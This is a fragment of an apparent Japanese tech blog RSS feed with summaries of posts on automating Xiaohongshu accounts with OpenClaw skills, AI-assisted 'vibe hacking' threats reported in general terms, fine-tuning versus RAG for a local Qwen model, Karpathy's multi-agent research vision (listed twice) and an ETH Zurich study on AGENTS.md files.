&lt;li&gt;AI がテーマに沿った投稿文を自動生成&lt;/li&gt;
&lt;li&gt;8 種類のテンプレートからカバー画像を自動レンダリング&lt;/li&gt;
&lt;li&gt;小紅書への自動公開&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="xiaohongshu-ops-skill運営オペレーション"&gt;xiaohongshu-ops-skill（運営オペレーション）&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/Xiangyu-CAS/xiaohongshu-ops-skill"&gt;Xiangyu-CAS/xiaohongshu-ops-skill&lt;/a&gt; — アカウントの日常運営を自動化する。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;投稿の自動公開スケジューリング&lt;/li&gt;
&lt;li&gt;コメントへの自動返信（アカウントのペルソナに合わせた口調で）&lt;/li&gt;
&lt;li&gt;バズった投稿の分析と複製（「爆款復刻」）&lt;/li&gt;
&lt;li&gt;アカウントごとのキャラクター設定&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この 2 つが連携することで、&lt;strong&gt;AI が記事を書き → カバー画像を生成 → 自動公開 → コメントに返信 → バズコンテンツを分析して再現&lt;/strong&gt;という完全自動のループが実現している。&lt;/p&gt;
&lt;h2 id="openclaw-エコシステムの広がり"&gt;OpenClaw エコシステムの広がり&lt;/h2&gt;
&lt;p&gt;OpenClaw は 2026 年に入って爆発的に成長し、GitHub のスター数は 2,400 万を超えた。個人の端末上で動作する AI エージェントで、WhatsApp・Telegram・Discord などのチャットアプリを通じて操作できる。&lt;/p&gt;
&lt;p&gt;小紅書以外にも、TikTok や各種 SNS プラットフォーム向けのスキルが続々と公開されており、「一人で複数アカウントをマトリクス運営する」ことが技術的に可能になっている。&lt;/p&gt;
&lt;p&gt;関連プロジェクトも活発だ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/zhjiang22/openclaw-xhs"&gt;openclaw-xhs&lt;/a&gt; — MCP 統合 + ホットトピック追跡 + 個人メモリ機能&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/autoclaw-cc/xiaohongshu-skills"&gt;xiaohongshu-skills&lt;/a&gt; — OpenClaw や Claude Code の SKILL.md 形式に対応&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="コンプライアンス上の懸念"&gt;コンプライアンス上の懸念&lt;/h2&gt;
&lt;p&gt;技術的には可能だが、&lt;strong&gt;プラットフォームの利用規約やコンプライアンスの問題は無視できない&lt;/strong&gt;。&lt;/p&gt;</description></item><item><title>Vibe Hacking とは何か：AI が変えるサイバー攻撃の新潮流</title><link>https://hdknr.github.io/blogs/posts/2026/03/vibe-hacking-%E3%81%A8%E3%81%AF%E4%BD%95%E3%81%8Bai-%E3%81%8C%E5%A4%89%E3%81%88%E3%82%8B%E3%82%B5%E3%82%A4%E3%83%90%E3%83%BC%E6%94%BB%E6%92%83%E3%81%AE%E6%96%B0%E6%BD%AE%E6%B5%81/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/vibe-hacking-%E3%81%A8%E3%81%AF%E4%BD%95%E3%81%8Bai-%E3%81%8C%E5%A4%89%E3%81%88%E3%82%8B%E3%82%B5%E3%82%A4%E3%83%90%E3%83%BC%E6%94%BB%E6%92%83%E3%81%AE%E6%96%B0%E6%BD%AE%E6%B5%81/</guid><description>&lt;p&gt;「Vibe Coding」が開発者の間で広まる中、同じ発想をサイバー攻撃に応用する「Vibe Hacking」が新たな脅威として注目されている。AI を使って、専門知識がなくてもマルウェアや攻撃スクリプトを生成できる時代が到来した。&lt;/p&gt;
&lt;h2 id="vibe-hacking-とは"&gt;Vibe Hacking とは&lt;/h2&gt;
&lt;p&gt;Vibe Hacking は、AI を活用してサイバー攻撃のハードルを劇的に下げる手法・思想を指す。開発者が自然言語で AI にコードを書かせる「Vibe Coding」のダークサイドとも言える概念だ。&lt;/p&gt;
&lt;p&gt;従来のハッキングには、ネットワークプロトコルの理解、脆弱性の発見、エクスプロイトコードの記述といった高度な技術スキルが必要だった。しかし Vibe Hacking では「ターゲットを指定するだけ」「経験不要」「AI が処理する」といった形で、技術的な障壁がほぼ消失する。&lt;/p&gt;
&lt;h2 id="具体的な脅威"&gt;具体的な脅威&lt;/h2&gt;
&lt;h3 id="ai-生成マルウェア"&gt;AI 生成マルウェア&lt;/h3&gt;
&lt;p&gt;HP Wolf Security の脅威インサイトレポート（2025年10月〜12月）によると、攻撃者は AI で生成した感染スクリプトを実際の攻撃キャンペーンに使用している。偽のインボイス PDF を通じて、正規のプラットフォーム（Booking.com など）へリダイレクトする前にマルウェアをダウンロードさせる手口が確認されている。&lt;/p&gt;
&lt;h3 id="flat-pack-malware"&gt;Flat-Pack Malware&lt;/h3&gt;
&lt;p&gt;複数の無関係な脅威グループが、同一のモジュール化されたマルウェアコンポーネントを再利用する「Flat-Pack Malware」も増加している。市販のマルウェア部品を組み立てるだけで、最小限の労力でカスタマイズされた攻撃キャンペーンを展開できる。&lt;/p&gt;
&lt;h3 id="国家レベルの活用"&gt;国家レベルの活用&lt;/h3&gt;
&lt;p&gt;パキスタン系の脅威アクター「Transparent Tribe」が、AI コーディングツールを使ってマルウェアを「Vibe Coding」し、インド政府やその海外大使館を標的にした事例も報告されている。&lt;/p&gt;
&lt;h2 id="なぜ危険なのか"&gt;なぜ危険なのか&lt;/h2&gt;
&lt;h3 id="攻撃コストの劇的な低下"&gt;攻撃コストの劇的な低下&lt;/h3&gt;
&lt;p&gt;脆弱性の発見からエクスプロイト作成までのコストは、かつて数週間と数千ドルを要した。AI によりこれがほぼゼロになりつつある。「スプレー＆プレイ」型の大規模攻撃ではなく、特定のシステムや企業、さらには個々の開発者をピンポイントで狙うマイクロターゲット攻撃が現実的になった。&lt;/p&gt;
&lt;h3 id="検出回避能力の向上"&gt;検出回避能力の向上&lt;/h3&gt;
&lt;p&gt;HP の調査では、メール脅威の 14% 以上がゲートウェイスキャナーを回避している。AI が生成するコードは毎回微妙に異なるため、シグネチャベースの検出が困難になっている。&lt;/p&gt;
&lt;h3 id="vibe-coding-で作られたアプリの脆弱性"&gt;Vibe Coding で作られたアプリの脆弱性&lt;/h3&gt;
&lt;p&gt;攻撃だけでなく、Vibe Coding で開発されたアプリケーション側も問題を抱えている。Veracode の GenAI コードセキュリティレポートによると、AI 生成コードの 45% にセキュリティ脆弱性が含まれている。AI はほぼ半分の確率で安全でない実装を選択する。&lt;/p&gt;
&lt;h2 id="対策のポイント"&gt;対策のポイント&lt;/h2&gt;
&lt;h3 id="ai-によるコードレビューの自動化"&gt;AI によるコードレビューの自動化&lt;/h3&gt;
&lt;p&gt;Vibe Coding で生成された全コードを人間がレビューするのは現実的ではない。コード生成が AI なら、レビューも AI で自動化するのが自然な流れだ。&lt;/p&gt;</description></item><item><title>ローカルQwenに個人知識を覚えさせたい — ファインチューニング vs RAG</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%ABqwen%E3%81%AB%E5%80%8B%E4%BA%BA%E7%9F%A5%E8%AD%98%E3%82%92%E8%A6%9A%E3%81%88%E3%81%95%E3%81%9B%E3%81%9F%E3%81%84-%E3%83%95%E3%82%A1%E3%82%A4%E3%83%B3%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0-vs-rag/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%ABqwen%E3%81%AB%E5%80%8B%E4%BA%BA%E7%9F%A5%E8%AD%98%E3%82%92%E8%A6%9A%E3%81%88%E3%81%95%E3%81%9B%E3%81%9F%E3%81%84-%E3%83%95%E3%82%A1%E3%82%A4%E3%83%B3%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0-vs-rag/</guid><description>&lt;p&gt;ローカルで Ollama + Qwen を動かしている Mac Studio（M3 Ultra / 96GB）に、NAS 上の PDF やテキストなどのドキュメントを学習させて「個人の知識ベース」として活用したい——そんなとき、ファインチューニングと RAG のどちらを選ぶべきかを整理する。&lt;/p&gt;
&lt;h2 id="やりたいこと"&gt;やりたいこと&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;NAS に蓄積された個人ドキュメント（PDF、テキスト等）の知識を Qwen に覚えさせたい&lt;/li&gt;
&lt;li&gt;自分の PC を使った活動に関する知識を、AI が把握している状態にしたい&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="選択肢1-ファインチューニングqlora"&gt;選択肢1: ファインチューニング（QLoRA）&lt;/h2&gt;
&lt;p&gt;モデル自体の重みを更新し、知識を「記憶」させるアプローチ。&lt;/p&gt;
&lt;h3 id="mac-studio-での実現可能性"&gt;Mac Studio での実現可能性&lt;/h3&gt;
&lt;p&gt;M3 Ultra / 96GB 統合メモリなら、QLoRA でのファインチューニングは技術的に可能。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;手法&lt;/th&gt;
&lt;th&gt;必要メモリ目安（7B）&lt;/th&gt;
&lt;th&gt;ツール&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;QLoRA (4bit)&lt;/td&gt;
&lt;td&gt;6-8 GB&lt;/td&gt;
&lt;td&gt;Unsloth, LLaMA-Factory, MLX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LoRA (16bit)&lt;/td&gt;
&lt;td&gt;14-16 GB&lt;/td&gt;
&lt;td&gt;LLaMA-Factory, PEFT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;フル FT&lt;/td&gt;
&lt;td&gt;60+ GB&lt;/td&gt;
&lt;td&gt;非現実的&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Apple Silicon では &lt;strong&gt;MLX&lt;/strong&gt; ベースが最もパフォーマンスが良い。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# MLX での QLoRA 実行例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pip install mlx-lm
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mlx_lm.lora &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --model Qwen/Qwen2.5-Coder-14B-Instruct &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --data ./training_data &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --train &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --batch-size &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --lora-layers &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --iters &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="ファインチューニングの課題"&gt;ファインチューニングの課題&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;最大のボトルネックはデータ準備&lt;/strong&gt;。NAS の生ファイルはそのまま学習データにはならず、instruction 形式への変換が必要になる。&lt;/p&gt;</description></item><item><title>「研究コミュニティをまるごとエミュレートせよ」— Karpathy が示す AI エージェント協調の未来</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E7%A0%94%E7%A9%B6%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%82%92%E3%81%BE%E3%82%8B%E3%81%94%E3%81%A8%E3%82%A8%E3%83%9F%E3%83%A5%E3%83%AC%E3%83%BC%E3%83%88%E3%81%9B%E3%82%88-karpathy-%E3%81%8C%E7%A4%BA%E3%81%99-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%8D%94%E8%AA%BF%E3%81%AE%E6%9C%AA%E6%9D%A5/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E7%A0%94%E7%A9%B6%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%82%92%E3%81%BE%E3%82%8B%E3%81%94%E3%81%A8%E3%82%A8%E3%83%9F%E3%83%A5%E3%83%AC%E3%83%BC%E3%83%88%E3%81%9B%E3%82%88-karpathy-%E3%81%8C%E7%A4%BA%E3%81%99-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%8D%94%E8%AA%BF%E3%81%AE%E6%9C%AA%E6%9D%A5/</guid><description>&lt;p&gt;Andrej Karpathy が &lt;a href="https://github.com/karpathy/autoresearch"&gt;autoresearch&lt;/a&gt; を公開した直後、さらに踏み込んだビジョンを&lt;a href="https://x.com/karpathy/status/2030705271627284816"&gt;示した&lt;/a&gt;。「次のステップは、エージェント同士が非同期かつ大規模に協調する仕組みだ」— 単一エージェントの能力向上ではなく、&lt;strong&gt;エージェント群の協調システム設計&lt;/strong&gt;こそが本質だという主張だ。&lt;/p&gt;
&lt;h2 id="一人の博士課程ではなく研究コミュニティを"&gt;「一人の博士課程ではなく、研究コミュニティを」&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The goal is not to emulate a single PhD student, it&amp;rsquo;s to emulate a research community of them.
（目標は一人の博士課程の学生をエミュレートすることではない。研究コミュニティをまるごとエミュレートすることだ。）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;現在の autoresearch はコミットを同期的に一本のスレッドで積み上げていく設計だ。だが Karpathy が構想するのは、リポジトリを「種」として無数のエージェントがそこから枝分かれし、異なる研究方向に並列で進んでいく世界だ。SETI@home のような分散コンピューティングモデルを研究に適用するイメージだと言える。&lt;/p&gt;
&lt;h2 id="技術的な課題"&gt;技術的な課題&lt;/h2&gt;
&lt;p&gt;この構想が実現するには、いくつかのハードルがある:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;分散タスクシャーディング&lt;/strong&gt; — 実験をどう分割して割り当てるか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;結果の重複排除&lt;/strong&gt; — 同じ仮説を複数エージェントが試す無駄をどう防ぐか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クロスエージェントメモリ&lt;/strong&gt; — あるエージェントの発見を他のエージェントが活用できる仕組み&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Git の限界&lt;/strong&gt; — 「一本の master ブランチ + 一時的な PR」という既存の Git モデルでは、エージェントが数千のコミットを並列に管理する構造に対応しきれない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Karpathy 自身も、Discussions や PR を使ったエージェント間の知見共有を軽量にプロトタイピングしたと述べている。&lt;/p&gt;
&lt;h2 id="一つを賢くするから場の設計へ"&gt;「一つを賢くする」から「場の設計」へ&lt;/h2&gt;
&lt;p&gt;IT navi 氏（&lt;a href="https://x.com/itnavi2022"&gt;@itnavi2022&lt;/a&gt;）は、この動きを端的に&lt;a href="https://x.com/itnavi2022/status/2031015950783516715"&gt;こう要約している&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AI が一人の研究者を代替するのではなく、無数のエージェントが並列に仮説を試し、成果や失敗を持ち寄りながら、ひとつの研究コミュニティのように知を前進させる未来だ。問題は、一つのエージェントを賢くすることではなく、無数のエージェントが枝分かれしながら知見を蓄積する場をどう設計するかに移りつつある。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;これは AI エージェント開発における重要なパラダイムシフトだ。これまでの議論は「いかにモデルを賢くするか」「いかにプロンプトを最適化するか」に集中していた。だが autoresearch が示す方向は、&lt;strong&gt;個のエージェントの能力向上よりも、エージェント群の協調システム設計&lt;/strong&gt;に重心が移りつつあるということだ。&lt;/p&gt;
&lt;p&gt;Karpathy の言葉を借りれば、エージェントの「知性、注意力、粘り強さがボトルネックでなくなった」とき、既存の開発抽象（Git、CI/CD、コードレビュー）にますます圧力がかかる。&lt;/p&gt;</description></item><item><title>「研究コミュニティをまるごとエミュレートせよ」— Karpathy が示す AI エージェント協調の未来</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E7%A0%94%E7%A9%B6%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%82%92%E3%81%BE%E3%82%8B%E3%81%94%E3%81%A8%E3%82%A8%E3%83%9F%E3%83%A5%E3%83%AC%E3%83%BC%E3%83%88%E3%81%9B%E3%82%88-karpathy-%E3%81%8C%E7%A4%BA%E3%81%99-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%8D%94%E8%AA%BF%E3%81%AE%E6%9C%AA%E6%9D%A5/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E7%A0%94%E7%A9%B6%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%82%92%E3%81%BE%E3%82%8B%E3%81%94%E3%81%A8%E3%82%A8%E3%83%9F%E3%83%A5%E3%83%AC%E3%83%BC%E3%83%88%E3%81%9B%E3%82%88-karpathy-%E3%81%8C%E7%A4%BA%E3%81%99-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%8D%94%E8%AA%BF%E3%81%AE%E6%9C%AA%E6%9D%A5/</guid><description>&lt;p&gt;Andrej Karpathy が &lt;a href="https://github.com/karpathy/autoresearch"&gt;autoresearch&lt;/a&gt; を公開した直後、さらに踏み込んだビジョンを&lt;a href="https://x.com/karpathy/status/2030705271627284816"&gt;示した&lt;/a&gt;。「次のステップは、エージェント同士が非同期かつ大規模に協調する仕組みだ」— 単一エージェントの能力向上ではなく、&lt;strong&gt;エージェント群の協調システム設計&lt;/strong&gt;こそが本質だという主張だ。&lt;/p&gt;
&lt;h2 id="一人の博士課程ではなく研究コミュニティを"&gt;「一人の博士課程ではなく、研究コミュニティを」&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The goal is not to emulate a single PhD student, it&amp;rsquo;s to emulate a research community of them.
（目標は一人の博士課程の学生をエミュレートすることではない。研究コミュニティをまるごとエミュレートすることだ。）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;現在の autoresearch はコミットを同期的に一本のスレッドで積み上げていく設計だ。だが Karpathy が構想するのは、リポジトリを「種」として無数のエージェントがそこから枝分かれし、異なる研究方向に並列で進んでいく世界だ。SETI@home のような分散コンピューティングモデルを研究に適用するイメージだと言える。&lt;/p&gt;
&lt;h2 id="技術的な課題"&gt;技術的な課題&lt;/h2&gt;
&lt;p&gt;この構想が実現するには、いくつかのハードルがある:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;分散タスクシャーディング&lt;/strong&gt; — 実験をどう分割して割り当てるか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;結果の重複排除&lt;/strong&gt; — 同じ仮説を複数エージェントが試す無駄をどう防ぐか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クロスエージェントメモリ&lt;/strong&gt; — あるエージェントの発見を他のエージェントが活用できる仕組み&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Git の限界&lt;/strong&gt; — 「一本の master ブランチ + 一時的な PR」という既存の Git モデルでは、エージェントが数千のコミットを並列に管理する構造に対応しきれない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Karpathy 自身も、Discussions や PR を使ったエージェント間の知見共有を軽量にプロトタイピングしたと述べている。&lt;/p&gt;
&lt;h2 id="一つを賢くするから場の設計へ"&gt;「一つを賢くする」から「場の設計」へ&lt;/h2&gt;
&lt;p&gt;IT navi 氏（&lt;a href="https://x.com/itnavi2022"&gt;@itnavi2022&lt;/a&gt;）は、この動きを端的に&lt;a href="https://x.com/itnavi2022/status/2031015950783516715"&gt;こう要約している&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AI が一人の研究者を代替するのではなく、無数のエージェントが並列に仮説を試し、成果や失敗を持ち寄りながら、ひとつの研究コミュニティのように知を前進させる未来だ。問題は、一つのエージェントを賢くすることではなく、無数のエージェントが枝分かれしながら知見を蓄積する場をどう設計するかに移りつつある。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;これは AI エージェント開発における重要なパラダイムシフトだ。これまでの議論は「いかにモデルを賢くするか」「いかにプロンプトを最適化するか」に集中していた。だが autoresearch が示す方向は、&lt;strong&gt;個のエージェントの能力向上よりも、エージェント群の協調システム設計&lt;/strong&gt;に重心が移りつつあるということだ。&lt;/p&gt;
&lt;p&gt;Karpathy の言葉を借りれば、エージェントの「知性、注意力、粘り強さがボトルネックでなくなった」とき、既存の開発抽象（Git、CI/CD、コードレビュー）にますます圧力がかかる。&lt;/p&gt;</description></item><item><title>AGENTS.md は詳しすぎると逆効果 — ETH Zurich の138リポジトリ研究が示す「書かない」原則</title><link>https://hdknr.github.io/blogs/posts/2026/03/agents.md-%E3%81%AF%E8%A9%B3%E3%81%97%E3%81%99%E3%81%8E%E3%82%8B%E3%81%A8%E9%80%86%E5%8A%B9%E6%9E%9C-eth-zurich-%E3%81%AE138%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E7%A0%94%E7%A9%B6%E3%81%8C%E7%A4%BA%E3%81%99%E6%9B%B8%E3%81%8B%E3%81%AA%E3%81%84%E5%8E%9F%E5%89%87/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/agents.md-%E3%81%AF%E8%A9%B3%E3%81%97%E3%81%99%E3%81%8E%E3%82%8B%E3%81%A8%E9%80%86%E5%8A%B9%E6%9E%9C-eth-zurich-%E3%81%AE138%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E7%A0%94%E7%A9%B6%E3%81%8C%E7%A4%BA%E3%81%99%E6%9B%B8%E3%81%8B%E3%81%AA%E3%81%84%E5%8E%9F%E5%89%87/</guid><description>&lt;p&gt;AI コーディングエージェントの設定ファイル（AGENTS.md、CLAUDE.md など）は「詳しく書くほど良い」と思われがちだ。しかし ETH Zurich の研究チームが138リポジトリ・5,694プルリクエストを対象に行った調査で、&lt;strong&gt;詳細すぎるコンテキストファイルはむしろ性能を下げる&lt;/strong&gt;ことが実証された。&lt;/p&gt;
&lt;h2 id="研究の概要"&gt;研究の概要&lt;/h2&gt;
&lt;p&gt;ETH Zurich の Gloaguen、Mündler、Müller、Raychev、Vechev らが2026年2月に発表した論文で、AGENTS.md ファイルが AI コーディングエージェントの性能に与える影響を大規模に検証した。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;対象&lt;/strong&gt;: 138リポジトリ、5,694プルリクエスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証&lt;/strong&gt;: LLM 生成ファイルと人間が書いたファイルの両方を比較&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="衝撃的な結果"&gt;衝撃的な結果&lt;/h2&gt;
&lt;h3 id="自動生成されたコンテキストファイルは害になる"&gt;自動生成されたコンテキストファイルは害になる&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;成功率が&lt;strong&gt;約3%低下&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;推論コストが&lt;strong&gt;20%以上増加&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;エージェントは推論トークンの14〜22%をドキュメント処理に消費&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="人間が書いても効果は限定的"&gt;人間が書いても効果は限定的&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;改善はわずか**4%**にとどまる&lt;/li&gt;
&lt;li&gt;コストの増加に見合わない&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="なぜ詳細な指示が逆効果になるのか"&gt;なぜ詳細な指示が逆効果になるのか&lt;/h2&gt;
&lt;h3 id="ai-エージェントは従順すぎる"&gt;AI エージェントは「従順すぎる」&lt;/h3&gt;
&lt;p&gt;エージェントはコンテキストファイルの指示を律儀に守る。そのため、不要な制約が含まれていると逆にタスクが難しくなる。「良かれと思って書いた指示」が足を引っ張る。&lt;/p&gt;
&lt;h3 id="ディレクトリツリーやコードベース概要は不要"&gt;ディレクトリツリーやコードベース概要は不要&lt;/h3&gt;
&lt;p&gt;エージェントはファイル構造を&lt;strong&gt;自力で発見するのが得意&lt;/strong&gt;だ。手動でディレクトリツリーを記述しても、トークンを消費するだけでナビゲーション速度は改善しない。&lt;/p&gt;
&lt;h3 id="強いモデルほど追加コンテキストが邪魔になる"&gt;強いモデルほど追加コンテキストが邪魔になる&lt;/h3&gt;
&lt;p&gt;GPT-5.2 のような強力なモデルは、ライブラリや慣例のパラメトリック知識を既に持っている。追加コンテキストは冗長なノイズになるだけだ。&lt;/p&gt;
&lt;h2 id="効果があるのは非自明なツール指定"&gt;効果があるのは「非自明なツール指定」&lt;/h2&gt;
&lt;p&gt;研究で唯一、劇的な効果が確認されたのは&lt;strong&gt;プロジェクト固有のツール指定&lt;/strong&gt;だ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pip&lt;/code&gt; の代わりに &lt;code&gt;uv&lt;/code&gt; を使う&lt;/li&gt;
&lt;li&gt;&lt;code&gt;npm&lt;/code&gt; の代わりに &lt;code&gt;bun&lt;/code&gt; を使う&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例えば &lt;code&gt;uv&lt;/code&gt; を明示した場合、&lt;strong&gt;160倍多く使われた&lt;/strong&gt;という結果が出ている。エージェントが自力では推測できない「非自明な選択」だけを書くのが正解だ。&lt;/p&gt;
&lt;h2 id="推奨される6つの原則"&gt;推奨される6つの原則&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;コード内で発見可能な情報は除外&lt;/strong&gt; — エージェントが自力で見つけられるものは書かない&lt;/li&gt;
